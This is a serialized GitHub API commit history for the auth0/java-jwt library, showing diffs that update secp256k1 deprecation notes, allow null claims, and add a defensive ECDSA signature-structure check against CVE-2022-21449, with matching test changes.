comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujX  \https://api.github.com/repos/auth0/java-jwt/commits/1ef63fd447b8b6115157f77ecb9170ef7b5bc3d2html_urlQhttps://github.com/auth0/java-jwt/commit/1ef63fd447b8b6115157f77ecb9170ef7b5bc3d2comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/1ef63fd447b8b6115157f77ecb9170ef7b5bc3d2/commentsjF  }(login	poovamrajidJ jB  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jX  &https://api.github.com/users/poovamrajjd  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujN  }(ji  	poovamrajjk  J jB  MDQ6VXNlcjE1OTEwNDI1jm  4https://avatars.githubusercontent.com/u/15910425?v=4jo  h3jX  &https://api.github.com/users/poovamrajjd  https://github.com/poovamrajjr  0https://api.github.com/users/poovamraj/followersjt  =https://api.github.com/users/poovamraj/following{/other_user}jv  6https://api.github.com/users/poovamraj/gists{/gist_id}jx  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jz  4https://api.github.com/users/poovamraj/subscriptionsj|  +https://api.github.com/users/poovamraj/orgsj~  ,https://api.github.com/users/poovamraj/reposj  7https://api.github.com/users/poovamraj/events{/privacy}j  6https://api.github.com/users/poovamraj/received_eventsj  Userj  uparents]}(j@  (bd7c282874600aaa4efbd132745b4f3e38c3561fjX  \https://api.github.com/repos/auth0/java-jwt/commits/bd7c282874600aaa4efbd132745b4f3e38c3561fjd  Qhttps://github.com/auth0/java-jwt/commit/bd7c282874600aaa4efbd132745b4f3e38c3561fuastats}(totalK	additionsK	deletionsKufiles]}(j@  (2e1904df14fe88e55de2c6c0d870e60a95e87468filename9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javastatusmodifiedj  Kj  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/1ef63fd447b8b6115157f77ecb9170ef7b5bc3d2/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaraw_urlhttps://github.com/auth0/java-jwt/raw/1ef63fd447b8b6115157f77ecb9170ef7b5bc3d2/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=1ef63fd447b8b6115157f77ecb9170ef7b5bc3d2patchX7  @@ -182,8 +182,10 @@ public static Algorithm HMAC256(byte[] secret) throws IllegalArgumentException {
      *
      * @param keyProvider the provider of the Public Key and Private Key for the verify and signing instance.
      * @return a valid ECDSA256 Algorithm.
-     * @deprecated This method is deprecated since Java 15+ disables SECP-256K1 Curve. Using this in Java 15+ will throw a SignatureException
      * @throws IllegalArgumentException if the Key Provider is null.
+     * @deprecated The SECP-256K1 Curve algorithm has been disabled beginning in Java 15.
+     * Use of this method in those unsupported Java versions will throw a {@link java.security.SignatureException}.
+     * This method will be removed in the next major version. See for additional information
      */
     @Deprecated
     public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
@@ -196,8 +198,10 @@ public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalAr
      * @param publicKey  the key to use in the verify instance.
      * @param privateKey the key to use in the signing instance.
      * @return a valid ECDSA256 Algorithm.
-     * @deprecated This method is deprecated since Java 15+ disables SECP-256K1 Curve. Using this in Java 15+ will throw a SignatureException
      * @throws IllegalArgumentException if the provided Key is null.
+     * @deprecated The SECP-256K1 Curve algorithm has been disabled beginning in Java 15.
+     * Use of this method in those unsupported Java versions will throw a {@link java.security.SignatureException}.
+     * This method will be removed in the next major version. See for additional information
      */
     @Deprecated
     public static Algorithm ECDSA256K(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {uau(53f5f3c09cfb3f143010c96a4f8c79ac36601515}(sha(53f5f3c09cfb3f143010c96a4f8c79ac36601515node_idEC_kwDOAQtL0doAKDUzZjVmM2MwOWNmYjNmMTQzMDEwYzk2YTRmOGM3OWFjMzY2MDE1MTUcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-02-18T13:34:43Zu	committer}(j  GitHubj  noreply@github.comj  2022-02-18T13:34:43Zumessage1Mentioned no support for secp256k1 after Java 15+tree}(j  (2001816cac9cb9132bce43956131433f7b962777url^https://api.github.com/repos/auth0/java-jwt/git/trees/2001816cac9cb9132bce43956131433f7b962777ujͲ  `https://api.github.com/repos/auth0/java-jwt/git/commits/53f5f3c09cfb3f143010c96a4f8c79ac36601515
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiD6BzCRBK7hj4Ov3rIwAANCgIAId3fFpOQBQDcD8DTwPbdelK
235mA091V2J4zGuxquGGxp8qbOTKFXXz523i9ySStL0oDNRpOy0LCD2zEDy3Ib3k
vbCeCcYCGycbfhj1Li3+mdXDgs93HmRKZF8CUl/DaQNO5Up9M7C553fkZdkVFSM+
Vw3amqk/4hiCjRc1FuVStNzn3qBP4w8msePGglYNJJ7VDk7nHURPpqVG8+0yWamd
EcqEpvrtqYXUTcexYTTeJUYUuxoLJBvFI/dRz4dWSLG5W4cn5i/XStnvI1g450Ad
sbUdlh8AbPzvRGDQDMk13FTwj1iS91+MJqpFJAXGbTdPGPl2o5SFWEsvAZEvt4w=
=T5MY
-----END PGP SIGNATURE-----
payloadX  tree 2001816cac9cb9132bce43956131433f7b962777
parent 1e5d11e17a09bd9d709fbfe94d4345706c0aa57f
author Poovamraj T T <poovamraj@gmail.com> 1645191283 +0100
committer GitHub <noreply@github.com> 1645191283 +0100

Mentioned no support for secp256k1 after Java 15+uujͲ  \https://api.github.com/repos/auth0/java-jwt/commits/53f5f3c09cfb3f143010c96a4f8c79ac36601515html_urlQhttps://github.com/auth0/java-jwt/commit/53f5f3c09cfb3f143010c96a4f8c79ac36601515comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/53f5f3c09cfb3f143010c96a4f8c79ac36601515/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jͲ  &https://api.github.com/users/poovamrajj۲  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujò  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3jͲ  %https://api.github.com/users/web-flowj۲  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents]}(j  (1e5d11e17a09bd9d709fbfe94d4345706c0aa57fjͲ  \https://api.github.com/repos/auth0/java-jwt/commits/1e5d11e17a09bd9d709fbfe94d4345706c0aa57fj۲  Qhttps://github.com/auth0/java-jwt/commit/1e5d11e17a09bd9d709fbfe94d4345706c0aa57fuastats}(totalK	additionsK	deletionsKufiles]}(j  (9fbb2138b5cbf59a85a0199d28c9f0455c212318filename	README.mdstatusmodifiedj  Kj  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/53f5f3c09cfb3f143010c96a4f8c79ac36601515/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/53f5f3c09cfb3f143010c96a4f8c79ac36601515/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=53f5f3c09cfb3f143010c96a4f8c79ac36601515patchX  @@ -49,7 +49,7 @@ The library implements JWT Verification and Signing using the following algorith
 | ES384 | ECDSA384 | ECDSA with curve P-384 and SHA-384 |
 | ES512 | ECDSA512 | ECDSA with curve P-521 and SHA-512 |
 
-⚠️ Note - ECDSA with curve secp256k1 and SHA-256 will not be supported further by this library since it has been (disabled in Java 15)[https://www.oracle.com/java/technologies/javase/15-relnote-issues.html#JDK-8237219]
+⚠️ Note - ECDSA with curve secp256k1 and SHA-256 will not be supported for Java 15+ by this library since it has been (disabled in Java 15)[https://www.oracle.com/java/technologies/javase/15-relnote-issues.html#JDK-8237219]
 
 ## Usage
 uau(a1d01fc763327856a92e01aa1e4f29f7a96ee805}(sha(a1d01fc763327856a92e01aa1e4f29f7a96ee805node_idEC_kwDOAQtL0doAKGExZDAxZmM3NjMzMjc4NTZhOTJlMDFhYTFlNGYyOWY3YTk2ZWU4MDUcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-24T15:01:59Zu	committer}(j4  
Poovamraj T Tj6  poovamraj@gmail.comj8  2022-03-24T15:01:59Zumessage$JWT creation support for null valuestree}(j,  (00d7bbfcb34880b64c7f27ea8614bc1131296664url^https://api.github.com/repos/auth0/java-jwt/git/trees/00d7bbfcb34880b64c7f27ea8614bc1131296664ujD  `https://api.github.com/repos/auth0/java-jwt/git/commits/a1d01fc763327856a92e01aa1e4f29f7a96ee805
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujD  \https://api.github.com/repos/auth0/java-jwt/commits/a1d01fc763327856a92e01aa1e4f29f7a96ee805html_urlQhttps://github.com/auth0/java-jwt/commit/a1d01fc763327856a92e01aa1e4f29f7a96ee805comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/a1d01fc763327856a92e01aa1e4f29f7a96ee805/commentsj2  }(login	poovamrajidJ j.  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jD  &https://api.github.com/users/poovamrajjP  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj:  }(jU  	poovamrajjW  J j.  MDQ6VXNlcjE1OTEwNDI1jY  4https://avatars.githubusercontent.com/u/15910425?v=4j[  h3jD  &https://api.github.com/users/poovamrajjP  https://github.com/poovamrajj^  0https://api.github.com/users/poovamraj/followersj`  =https://api.github.com/users/poovamraj/following{/other_user}jb  6https://api.github.com/users/poovamraj/gists{/gist_id}jd  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jf  4https://api.github.com/users/poovamraj/subscriptionsjh  +https://api.github.com/users/poovamraj/orgsjj  ,https://api.github.com/users/poovamraj/reposjl  7https://api.github.com/users/poovamraj/events{/privacy}jn  6https://api.github.com/users/poovamraj/received_eventsjp  Userjr  uparents]}(j,  (478e61f51d8c1c4e5318381bd0074b3b36b17545jD  \https://api.github.com/repos/auth0/java-jwt/commits/478e61f51d8c1c4e5318381bd0074b3b36b17545jP  Qhttps://github.com/auth0/java-jwt/commit/478e61f51d8c1c4e5318381bd0074b3b36b17545uastats}(totalK$	additionsK	deletionsKufiles]}(j,  (582ba5fc967e34a88a4d534271445f95eb421ad5filename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedj  Kj  KchangesK$blob_urlhttps://github.com/auth0/java-jwt/blob/a1d01fc763327856a92e01aa1e4f29f7a96ee805/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/a1d01fc763327856a92e01aa1e4f29f7a96ee805/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=a1d01fc763327856a92e01aa1e4f29f7a96ee805patchX  @@ -74,7 +74,6 @@ public static class Builder {
         /**
          * Add specific Claims to set as the Header.
          * If provided map is null then nothing is changed
-         * If provided map contains a claim with null value then that claim will be removed from the header
          *
          * @param headerClaims the values to use as Claims in the token's Header.
          * @return this same Builder instance.
@@ -401,7 +400,6 @@ public Builder withClaim(String name, Map<String, ?> map) throws IllegalArgument
          * @return this same Builder instance.
          * @throws IllegalArgumentException if the name is null, or if the list contents does not validate.
          */
-
         public Builder withClaim(String name, List<?> list) throws IllegalArgumentException {
             assertNonNull(name);
             // validate list contents
@@ -412,14 +410,19 @@ public Builder withClaim(String name, List<?> list) throws IllegalArgumentExcept
             return this;
         }
 
+        public Builder withNullClaim(String name) throws IllegalArgumentException {
+            assertNonNull(name);
+            addClaim(name, null);
+            return this;
+        }
+
         /**
          * Add specific Claims to set as the Payload. If the provided map is null then
          * nothing is changed.
          * <p>
          * Accepted types are {@linkplain Map} and {@linkplain List} with basic types
          * {@linkplain Boolean}, {@linkplain Integer}, {@linkplain Long}, {@linkplain Double},
-         * {@linkplain String} and {@linkplain Date}. {@linkplain Map}s cannot contain null keys or values.
-         * {@linkplain List}s can contain null elements.
+         * {@linkplain String} and {@linkplain Date}. {@linkplain Map}s and {@linkplain List}s can contain null elements.
          * </p>
          *
          * <p>
@@ -436,7 +439,7 @@ public Builder withPayload(Map<String, ?> payloadClaims) throws IllegalArgumentE
             }
 
             if (!validatePayload(payloadClaims)) {
-                throw new IllegalArgumentException("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String and Date");
+                throw new IllegalArgumentException("Claim values must only be of types Map, List, Boolean, Integer, Long, Double, String, Date and Null");
             }
 
             // add claims only after validating all claims so as not to corrupt the claims map of this builder
@@ -457,7 +460,7 @@ private boolean validatePayload(Map<String, ?> payload) {
                     return false;
                 } else if (value instanceof Map && !validateClaim((Map<?, ?>) value)) {
                     return false;
-                } else if (value != null && !isSupportedType(value)) {
+                } else if (!isSupportedType(value)) {
                     return false;
                 }
             }
@@ -468,7 +471,7 @@ private static boolean validateClaim(Map<?, ?> map) {
             // do not accept null values in maps
             for (Entry<?, ?> entry : map.entrySet()) {
                 Object value = entry.getValue();
-                if (value == null || !isSupportedType(value)) {
+                if (!isSupportedType(value)) {
                     return false;
                 }
 
@@ -482,7 +485,7 @@ private static boolean validateClaim(Map<?, ?> map) {
         private static boolean validateClaim(List<?> list) {
             // accept null values in list
             for (Object object : list) {
-                if (object != null && !isSupportedType(object)) {
+                if (!isSupportedType(object)) {
                     return false;
                 }
             }
@@ -500,12 +503,17 @@ private static boolean isSupportedType(Object value) {
         }
 
         private static boolean isBasicType(Object value) {
-            Class<?> c = value.getClass();
+            if(value == null){
+                return true;
+            } else {
+                Class<?> c = value.getClass();
 
-            if (c.isArray()) {
-                return c == Integer[].class || c == Long[].class || c == String[].class;
+                if (c.isArray()) {
+                    return c == Integer[].class || c == Long[].class || c == String[].class;
+                }
+                return c == String.class || c == Integer.class || c == Long.class || c == Double.class
+                        || c == Date.class || c == Instant.class || c == Boolean.class;
             }
-            return c == String.class || c == Integer.class || c == Long.class || c == Double.class || c == Date.class || c == Instant.class || c == Boolean.class;
         }
 
         /**
@@ -538,10 +546,6 @@ private void assertNonNull(String name) {
         }
 
         private void addClaim(String name, Object value) {
-            if (value == null) {
-                payloadClaims.remove(name);
-                return;
-            }
             payloadClaims.put(name, value);
         }
     }uau(34caf1fa3371a832e9359fef15d4226461d0de0a}(sha(34caf1fa3371a832e9359fef15d4226461d0de0anode_idEC_kwDOAQtL0doAKDM0Y2FmMWZhMzM3MWE4MzJlOTM1OWZlZjE1ZDQyMjY0NjFkMGRlMGEcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-05-05T15:07:42Zu	committer}(j  GitHubj  noreply@github.comj  2022-05-05T15:07:42ZumessageMerge pull request #579 from auth0/psychic-signature-vulnerability-protection

[SDK-3311] Added protection against CVE-2022-21449tree}(j  (c6cdc0736d249ad1e840373b1518531047c8e516url^https://api.github.com/repos/auth0/java-jwt/git/trees/c6cdc0736d249ad1e840373b1518531047c8e516uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/34caf1fa3371a832e9359fef15d4226461d0de0a
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJic+g+CRBK7hj4Ov3rIwAA6WgIAKEmKYsRzbnOdJ5Sh3HjUYjc
t1z1rw1IPgZUYikZ2ZdTD//frfYUca0gECj6GxR3wVSLrBP4dYGaf1e+k4dlDQ+S
WMN1R1NlQNU8kVNm1iQ9dKjtpHyLL/q2eFBjJjYV52eDaMFHnv7ZWHIvleDjAmIi
B3J4xkZBAZvDByyEmMLuJxfm/Pc7BJAUyYMbB9ck9zCFSLQEehxJ8dQ5rCNnf6ps
UvGGoB107iIpdZHHcqzxpe9kbuySNjGYpueaCK1HCcFWDD4KLx9skzX46zSuL7fm
BCINQ7g0Q6ZNo6L9TRRVbM7OPenAaMhVlvLFQv4PvrPtjNzyeUNpnpuZwdepdAc=
=0SXH
-----END PGP SIGNATURE-----
payloadX  tree c6cdc0736d249ad1e840373b1518531047c8e516
parent dd40410c0f749743de2447f7f6e45c99f0902679
parent 9d471d2152354866bfa65a861dac5590601efe79
author Poovamraj T T <poovamraj@gmail.com> 1651763262 +0200
committer GitHub <noreply@github.com> 1651763262 +0200

Merge pull request #579 from auth0/psychic-signature-vulnerability-protection

[SDK-3311] Added protection against CVE-2022-21449uuj  \https://api.github.com/repos/auth0/java-jwt/commits/34caf1fa3371a832e9359fef15d4226461d0de0ahtml_urlQhttps://github.com/auth0/java-jwt/commit/34caf1fa3371a832e9359fef15d4226461d0de0acomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/34caf1fa3371a832e9359fef15d4226461d0de0a/commentsj  }(login	poovamrajidJ j  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j  &https://api.github.com/users/poovamrajjǳ  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj  }(j̳  web-flowjγ  J/j  MDQ6VXNlcjE5ODY0NDQ3jг  4https://avatars.githubusercontent.com/u/19864447?v=4jҳ  h3j  %https://api.github.com/users/web-flowjǳ  https://github.com/web-flowjճ  /https://api.github.com/users/web-flow/followersj׳  <https://api.github.com/users/web-flow/following{/other_user}jٳ  5https://api.github.com/users/web-flow/gists{/gist_id}j۳  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jݳ  3https://api.github.com/users/web-flow/subscriptionsj߳  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents](}(j  (dd40410c0f749743de2447f7f6e45c99f0902679j  \https://api.github.com/repos/auth0/java-jwt/commits/dd40410c0f749743de2447f7f6e45c99f0902679jǳ  Qhttps://github.com/auth0/java-jwt/commit/dd40410c0f749743de2447f7f6e45c99f0902679u}(j  (9d471d2152354866bfa65a861dac5590601efe79j  \https://api.github.com/repos/auth0/java-jwt/commits/9d471d2152354866bfa65a861dac5590601efe79jǳ  Qhttps://github.com/auth0/java-jwt/commit/9d471d2152354866bfa65a861dac5590601efe79uestats}(totalK	additionsK	deletionsKufiles](}(j  (0e6a7d48069d99711ad17aba43a1ccd55ebddfe1filename	README.mdstatusmodifiedj  Kj  K changesKblob_urlYhttps://github.com/auth0/java-jwt/blob/34caf1fa3371a832e9359fef15d4226461d0de0a/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/34caf1fa3371a832e9359fef15d4226461d0de0a/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=34caf1fa3371a832e9359fef15d4226461d0de0apatchXf  @@ -9,6 +9,8 @@
 
 A Java implementation of [JSON Web Token (JWT) - RFC 7519](https://tools.ietf.org/html/rfc7519).
 
+> :warning:  **Important security note:** JVM has a critical vulnerability for ECDSA Algorithms - [CVE-2022-21449](https://nvd.nist.gov/vuln/detail/CVE-2022-21449). Please review the details of the vulnerability and update your environment.
+
 If you're looking for an **Android** version of the JWT Decoder take a look at our [JWTDecode.Android](https://github.com/auth0/JWTDecode.Android) library.
 
 > This library requires Java 8 or higher. The last version that supported Java 7 was 3.11.0.u}(j  (ac34c44e96e7d7586ed5bddaa366232384d7f443j
  >lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javaj  modifiedj  KAj  Kj  KDj  https://github.com/auth0/java-jwt/blob/34caf1fa3371a832e9359fef15d4226461d0de0a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj  https://github.com/auth0/java-jwt/raw/34caf1fa3371a832e9359fef15d4226461d0de0a/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=34caf1fa3371a832e9359fef15d4226461d0de0aj  X  @@ -5,6 +5,7 @@
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 
+import java.math.BigInteger;
 import java.security.InvalidKeyException;
 import java.security.NoSuchAlgorithmException;
 import java.security.SignatureException;
@@ -46,6 +47,7 @@ public void verify(DecodedJWT jwt) throws SignatureVerificationException {
             if (publicKey == null) {
                 throw new IllegalStateException("The given Public Key is null.");
             }
+            validateSignatureStructure(signatureBytes, publicKey);
             boolean valid = crypto.verifySignatureFor(getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), JOSEToDER(signatureBytes));
 
             if (!valid) {
@@ -140,13 +142,42 @@ byte[] DERToJOSE(byte[] derSignature) throws SignatureException {
         return joseSignature;
     }
 
-    //Visible for testing
-    byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
+    /**
+     * Added check for extra protection against CVE-2022-21449.
+     * This method ensures the signature's structure is as expected.
+     *
+     * @param joseSignature is the signature from the JWT
+     * @param publicKey public key used to verify the JWT
+     * @throws SignatureException if the signature's structure is not as per expectation
+     */
+    // Visible for testing
+    void validateSignatureStructure(byte[] joseSignature, ECPublicKey publicKey) throws SignatureException {
+        // check signature length, moved this check from JOSEToDER method
         if (joseSignature.length != ecNumberSize * 2) {
             throw new SignatureException("Invalid JOSE signature format.");
         }
 
-        // Retrieve R and S number's length and padding.
+        if (isAllZeros(joseSignature)) {
+            throw new SignatureException("Invalid signature format.");
+        }
+
+        // get R
+        byte[] rBytes = new byte[ecNumberSize];
+        System.arraycopy(joseSignature, 0, rBytes, 0, ecNumberSize);
+        BigInteger r = new BigInteger(1, rBytes);
+        if(isAllZeros(rBytes)) {
+            throw new SignatureException("Invalid signature format.");
+        }
+
+        // get S
+        byte[] sBytes = new byte[ecNumberSize];
+        System.arraycopy(joseSignature, ecNumberSize, sBytes, 0, ecNumberSize);
+        BigInteger s = new BigInteger(1, sBytes);
+        if(isAllZeros(sBytes)) {
+            throw new SignatureException("Invalid signature format.");
+        }
+
+        //moved this check from JOSEToDER method
         int rPadding = countPadding(joseSignature, 0, ecNumberSize);
         int sPadding = countPadding(joseSignature, ecNumberSize, joseSignature.length);
         int rLength = ecNumberSize - rPadding;
@@ -157,6 +188,28 @@ byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
             throw new SignatureException("Invalid JOSE signature format.");
         }
 
+        BigInteger order = publicKey.getParams().getOrder();
+
+        // R and S must be less than N
+        if (order.compareTo(r) < 1) {
+            throw new SignatureException("Invalid signature format.");
+        }
+
+        if (order.compareTo(s) < 1){
+            throw new SignatureException("Invalid signature format.");
+        }
+    }
+
+    //Visible for testing
+    byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
+        // Retrieve R and S number's length and padding.
+        int rPadding = countPadding(joseSignature, 0, ecNumberSize);
+        int sPadding = countPadding(joseSignature, ecNumberSize, joseSignature.length);
+        int rLength = ecNumberSize - rPadding;
+        int sLength = ecNumberSize - sPadding;
+
+        int length = 2 + rLength + 2 + sLength;
+
         final byte[] derSignature;
         int offset;
         if (length > 0x7f) {
@@ -205,6 +258,15 @@ byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
         return derSignature;
     }
 
+    private boolean isAllZeros(byte[] bytes) {
+        for (byte b : bytes) {
+            if (b != 0) {
+                return false;
+            }
+        }
+        return true;
+    }
+
     private int countPadding(byte[] bytes, int fromIndex, int toIndex) {
         int padding = 0;
         while (fromIndex + padding < toIndex && bytes[fromIndex + padding] == 0) {u}(j  (818924fe75783c6b43e64c495c5fbe27a5239717j
  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/34caf1fa3371a832e9359fef15d4226461d0de0a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj  https://github.com/auth0/java-jwt/raw/34caf1fa3371a832e9359fef15d4226461d0de0a/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=34caf1fa3371a832e9359fef15d4226461d0de0aj  Xa-  @@ -4,6 +4,7 @@
 import com.auth0.jwt.exceptions.SignatureGenerationException;
 import com.auth0.jwt.exceptions.SignatureVerificationException;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
+import com.auth0.jwt.interfaces.JWTVerifier;
 import org.hamcrest.Matchers;
 import org.hamcrest.collection.IsIn;
 import org.junit.Assert;
@@ -12,11 +13,13 @@
 import org.junit.rules.ExpectedException;
 
 import java.io.ByteArrayOutputStream;
+import java.math.BigInteger;
 import java.nio.charset.StandardCharsets;
 import java.security.*;
 import java.security.interfaces.ECKey;
 import java.security.interfaces.ECPrivateKey;
 import java.security.interfaces.ECPublicKey;
+import java.security.spec.ECParameterSpec;
 import java.util.Arrays;
 import java.util.Base64;
 
@@ -574,6 +577,10 @@ public void shouldThrowOnVerifyWhenSignatureAlgorithmDoesNotExists() throws Exce
                 .thenThrow(NoSuchAlgorithmException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -592,6 +599,10 @@ public void shouldThrowOnVerifyWhenThePublicKeyIsInvalid() throws Exception {
                 .thenThrow(InvalidKeyException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -610,6 +621,10 @@ public void shouldThrowOnVerifyWhenTheSignatureIsNotPrepared() throws Exception
                 .thenThrow(SignatureException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
